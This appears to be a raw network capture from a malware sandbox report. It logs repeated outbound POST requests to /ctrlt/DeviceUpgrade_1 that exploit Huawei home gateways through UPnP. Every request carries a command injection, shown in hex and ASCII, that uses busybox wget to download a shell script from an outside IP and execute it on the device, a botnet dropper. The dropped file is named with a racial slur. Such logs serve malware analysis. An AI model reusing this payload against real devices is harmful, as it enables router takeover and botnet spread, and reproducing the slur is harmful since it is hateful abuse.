Feb 19, 2024 18:36:30.220041990 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:07.079036951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	36918	31.136.188.247	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.707724094 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:55.280762911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.400619030 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:58.736398935 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:03.343674898 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.302489996 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:30.220042944 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
